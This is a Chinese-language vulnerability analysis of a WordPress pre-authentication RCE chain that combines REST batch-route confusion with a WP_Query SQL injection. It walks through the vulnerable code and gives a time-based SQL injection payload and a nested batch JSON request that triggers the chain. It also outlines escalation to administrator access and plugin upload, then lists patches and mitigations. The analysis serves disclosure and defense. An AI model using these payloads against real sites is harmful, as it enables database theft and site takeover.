WordPress wp2shell 漏洞链完整拆解流程

这是近十年来WordPress Core首个被确认在野外利用的预认证RCE漏洞链。整套攻击链由两个漏洞组合而成:

漏洞编号 漏洞类型 单独CVSS 影响版本
CVE-2026-63030 REST API Batch路由混淆 7.5 (High) 6.9.0-6.9.4, 7.0.0-7.0.1
CVE-2026-60137 WP_Query SQL注入 9.1 (Critical) 6.8.0-6.8.5, 6.9.0-6.9.4, 7.0.0-7.0.1

单独来看,两个漏洞都无法实现未授权RCE;组合起来,攻击者无需任何凭证即可完全接管目标站点。

第一部分:SQL注入的根源 ------ CVE-2026-60137

1.1 漏洞位置

WP_Query 是 WordPress 构建数据库查询的核心类。当 author_exclude 参数被映射到 author__not_in 时,问题出现了。

1.2 源码级别的缺陷

关键代码位置 :class-wp-query.php 中的 author__not_in 处理逻辑:

php 复制代码
// 问题代码(简化)
if (isset($query_vars['author__not_in'])) {
    if (is_array($query_vars['author__not_in'])) {
        // 只有数组才会被 absint() 处理
        $author__not_in = implode(',', array_map('absint', $query_vars['author__not_in']));
    } else {
        // ★ 字符串直接拼接进 SQL!没有任何过滤!
        $author__not_in = $query_vars['author__not_in'];
    }
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

缺陷本质 :author__not_in 参数只有在以数组形式传入时 才会被 absint() 转换为整数;如果传入的是字符串 ,该值会被直接拼接 进 SQL 的 NOT IN (...) 子句。

1.3 注入 Payload 示例

复制代码
author_exclude=1) OR (SELECT 1 FROM (SELECT SLEEP(5))x)-- -

拼入 SQL 后:

sql 复制代码
... AND post_author NOT IN (1) OR (SELECT 1 FROM (SELECT SLEEP(5))x)-- -) ...

第二部分:路由混淆 ------ CVE-2026-63030

2.1 漏洞位置

核心文件 :wp-includes/rest-api/class-wp-rest-server.php

受影响函数 :WP_REST_Server::serve_batch_request_v1()

2.2 漏洞机制:两个数组的错位

serve_batch_request_v1() 在处理批量请求时,会维护两个并行的数组:

数组 作用
$matches 存储每个子请求匹配到的处理程序(handler)
$validation 存储每个子请求的校验结果

关键代码段(源码逻辑):

php 复制代码
// 阶段一:校验循环
foreach ($requests as $single_request) {
    if (is_wp_error($single_request)) {   // ← 探针 http://: 解析失败
        $validation[] = $single_request;
        continue;                         // ★ 跳过,不进 $matches!
    }
    $match = $this->match_request_to_handler($single_request);
    $matches[] = $match;                  // 正常请求才进 $matches
    // ... 用"自己的路由"做校验 ...
}

// 阶段二:执行循环
foreach ($requests as $i => $single_request) {
    $match = $matches[$i];                // ★ 按下标取,整体错位!
    // 用错位的 handler 执行请求
}

漏洞触发点 :当一个子请求路径在 wp_parse_url() 阶段解析失败(如 http://:),它会被写入 $validation 但不会进入 $matches 。两个数组因此下标错位 ,后续所有子请求都被派发到错误的处理程序。

2.3 图解错位

复制代码
请求数组(3个):
index:     0                1                       2
requests: [探针 http://:] , [受害者请求] , [供货商请求]

阶段一后:
validation: [WP_Error] , [true] , [true]
matches:               , [victim_match] , [supplier_match]   ← 长度=2,缺了index=0

阶段二执行:
i=0 → matches[0] = victim_match     → 探针拿到受害者的match
i=1 → matches[1] = supplier_match   → ★ 受害者拿到供货商的match!
i=2 → matches[2] = Undefined        → 供货商报错(攻击已完成)

第三部分:嵌套 Batch 请求的结构

3.1 为什么需要嵌套?

两个铁律的冲突:

铁律 说明
① 注入必须用 GET 方法(author_exclude 在 URL 查询字符串中)
② /batch/v1 顶层子请求的 method 只能是 POST/PUT/PATCH/DELETE,不支持 GET

解决方案 :将 GET 请求藏进一个 POST 请求的 body 中。

3.2 Payload 结构

复制代码
{
  "requests": [                                        ← 外层 batch
    {"method": "POST", "path": "http://:"},            ← 外层探针(制造错位)
    {"method": "POST", "path": "/wp/v2/posts", "body": { ← 受害者
      "requests": [                                    ← 内层 batch(藏在 body 里)
        {"method": "GET", "path": "http://:"},         ← 内层探针
        {"method": "GET", "path": "/wp/v2/categories?author_exclude=<SQL>"},  ← SQL注入
        {"method": "GET", "path": "/wp/v2/posts"}      ← 供货商
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}            ← 供货商(handler 被偷)
  ]
}

3.3 为什么 body 能"藏"住 GET?

REST API 的 body 参数 schema 中,properties 为空数组,additionalProperties 为 true。因此外层 schema 校验不会深入检查 body 内容,内层的 GET 请求得以绕过顶层的 method 枚举限制。

第四部分:完整攻击链拆解

阶段 0:前置条件

攻击者需要目标站点至少有一篇已发布文章或页面 ------这为后续的 UNION SELECT 伪造 wp_posts 行提供了基准行数。

阶段 1:外层错位 ------ 让 POST 变成 Batch 派发器

目标 :让 POST /wp/v2/posts 获得 /batch/v1 的派发能力。

  1. 探针 (POST http://:):wp_parse_url() 解析失败 → 写入 $validation,不进 $matches → $matches 缺一格

  2. 受害者 (POST /wp/v2/posts):在阶段二取 $matches[1] → 拿到供货商的 match (/batch/v1 的 handler)

  3. 执行 :POST /wp/v2/posts 被当作 batch 派发器执行 → 其 body 中的内层 requests 被激活

结果:内层的 3 个 GET 请求现在被当作合法的 batch 子请求执行。

阶段 2:内层错位 ------ 让 Categories 获得 Posts Handler

目标 :让 GET /wp/v2/categories 获得 posts 控制器的 get_items handler。

  1. 内层探针 (GET http://:):同样解析失败 → 又一次错位

  2. 内层受害者 (GET /wp/v2/categories?author_exclude=<SQL>):

    • 阶段一:用 categories 自己的参数表 做校验 → author_exclude 不在 categories 的 12 个参数中 → 查无此人,跳过校验

    • 阶段二:取 $matches[1] → 拿到内层供货商的 match (/wp/v2/posts 的 handler)

  3. 执行 :GET /wp/v2/categories 被 posts 控制器的 get_items() 执行

关键 :author_exclude 参数在 categories 的参数表中不存在,所以三道看门狗(has_valid_params、sanitize_params、absint)全部跳过。

阶段 3:SQL 注入执行

get_items() 将 author_exclude 映射到 author__not_in:

php 复制代码
// class-wp-rest-posts-controller.php
$args['author__not_in'] = $request['author_exclude'];  // 原始注入串

随后进入 WP_Query::get_posts():

  • is_array($query_vars['author__not_in']) 返回 false(因为是字符串)

  • 字符串直接拼接进 SQL

最终 SQL:

sql 复制代码
... AND wp_posts.post_author NOT IN (1) OR (SELECT IF(ASCII(SUBSTRING(...))>X, SLEEP(0.5), 0)) ...

阶段 4:从 SQL 注入到 RCE

SQL 注入本身是只读的。完整 RCE 需要后续步骤:

  1. 信息泄露:通过时间盲注逐字符提取管理员密码哈希

  2. UNION 伪造 :UNION SELECT 伪造 wp_posts 数据行

  3. 对象缓存污染 :伪造的行被 WordPress 当作真实 WP_Post 对象缓存

  4. Customizer 提权 :利用 customize_changeset 工作流切换到管理员上下文

  5. 创建管理员 :以管理员身份调用 /wp/v2/users 创建新管理员账号

  6. 上传插件:登录后台上传恶意插件,执行任意系统命令

第五部分:源码关键行号速查表

组件 文件 关键行/位置 说明
Batch 路由定义 class-wp-rest-server.php 115-159 /batch/v1 路由注册
requests.method 枚举 class-wp-rest-server.php 131-135 只允许 POST/PUT/PATCH/DELETE
requests.body 透明 class-wp-rest-server.php 140-144 properties=\[\],不深入校验
Batch 派发入口 class-wp-rest-server.php 1714 serve_batch_request_v1()
探针失败点 class-wp-rest-server.php 1720 wp_parse_url() 返回 false
错位点 class-wp-rest-server.php 1841 $match = $matches[$i]
用邻居 handler 执行 class-wp-rest-server.php 1861 respond_to_request()
校验跳过点 class-wp-rest-request.php 834 if (!isset($attributes['args'][$key])) continue;
桥接点 class-wp-rest-posts-controller.php 270 $args[$wp_param] = $request[$api_param]
消毒失效点 class-wp-query.php 2404 is_array() 检查失败
SQL 拼装点 class-wp-query.php 2409 注入串拼入 NOT IN (...)
SQL 执行点 class-wpdb.php 3111 get_col() 执行注入

第六部分:修复方案

官方修复

升级到安全版本:

  • WordPress 6.8.x → 6.8.6

  • WordPress 6.9.x → 6.9.5

  • WordPress 7.0.x → 7.0.2

临时缓解

  1. 在 WAF 上拦截指向 /wp-json/batch/v1 与 /?rest_route=/batch/v1 的请求

  2. 通过 Disable WP REST API 插件关闭未认证用户的 REST API 访问

  3. 部署 Searchlight Cyber 提供的 disable-batch-api-for-unauth.php 插件,强制 REST Batch API 校验身份

  4. 排查服务器日志中针对 /batch/v1 的可疑批量请求行为

总结

攻击者通过一个无法解析的探针请求让 REST API 的 $matches 数组下标错位,使 categories 请求被 posts 控制器执行;由于 author_exclude 不在 categories 的参数表中,三道校验全部跳过,恶意 SQL 字符串直接拼入 NOT IN (...) 子句,形成时间盲注。

整个漏洞链的本质是:校验阶段用"自己的身份证",执行阶段用"邻居的权限"------身份在校验和执行之间发生了分裂

相关推荐
源流之道3 小时前
联想Y700 五代(TB323FU)刷 ColorOS 16 教程指南
网络·ai·刷机指南·刷机心得
Logic1013 小时前
C语言/数据结构位运算题解:异或XOR找出学习计划中的“独特学习时间“——只出现一次的数字
c语言·数据结构·数组·位运算·时间复杂度·算法题·异或性质
优化Henry4 小时前
LTE 载波频率与频点配置详解
运维·网络·学习·5g·信息与通信
小蒋学算法4 小时前
算法-交替删除操作后最后剩下的整数-跟着灵茶山艾府学算法
数据结构·算法
科力锐品牌君5 小时前
应用级灾备 | 海量非结构化数据如何实现高效数据保护
linux·运维·网络·安全·系统安全·数据安全·灾备
盛世宏博北京5 小时前
档案库房防护能力升级:从八防到十二防的物联网全维度感知防护体系建设方案
网络·物联网
杨福宇5 小时前
100BASE T1以太网实时控制的危机V3.21 ——辅助自动驾驶难达标
网络·网络协议·安全·自动驾驶·汽车
福建佰胜张工5 小时前
A5E00839230西门子工业核心配件详解:参数、安装调试与故障运维全攻略
运维·网络·安全·自动化
谢亮_vipxieliang6 小时前
镜像安全:扫描、签名与软件供应链
安全·docker
终端安全笔记6 小时前
安卓做 MDM 管控,先分清三种注册入口
android·安全·智能手机